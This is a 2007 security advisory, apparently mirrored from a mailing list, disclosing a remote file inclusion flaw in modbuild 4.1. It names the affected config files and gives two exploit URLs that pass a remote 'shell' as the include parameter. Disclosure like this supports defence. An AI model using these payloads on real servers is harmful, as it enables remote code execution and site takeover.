Computer Security
[EN] securityvulns.ru
no-pyccku



Related information

  Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

  Burak Yılmaz Blog (tr) v1.0 SQL injection vulnerability

  SineCMS

  :doruk100net >> RFI

  VirtuaNews.Pro.v1.0.
3.Retail.+All.
Plugins  Remote file Include

From:s433d_only_linux_(at)_yahoo.de <s433d_only_linux_(at)_yahoo.de>
Date:28.04.2007
Subject:modbuild >> 4.1 Remote File Inclusion

####################################################
modbuild  >>    4.1     Remote File Inclusion
####################################################
Affected Software .:    
Download..:
Risk ..............: high
Date .........: 26/4/2007
Found by ..........: s433d_only_linux
Contact ...........: s433d_only_linux@yahoo.de
Web .............: Www.hackerz.ir
special thanx ........... B4h4r3h_ir my best friend :x & ali jasbi
####################################################

####################################################
Affected File:
oneadmin/config-bak.php include_once($path["docroot"]."common/include.php");
oneadmin/config.php include_once($path["docroot"]."common/include.php");
####################################################
Exploit:
http://victim.com/oneadmin/config-bak.php?include_once=shell?
http://victim.com/oneadmin/config.php?include_once=shell?
####################################################

About | Terms of use | Privacy Policy
© SecurityVulns, 3APA3A, Vladimir Dubrovin
Nizhny Novgorod

 
 



Rating@Mail.ru
test server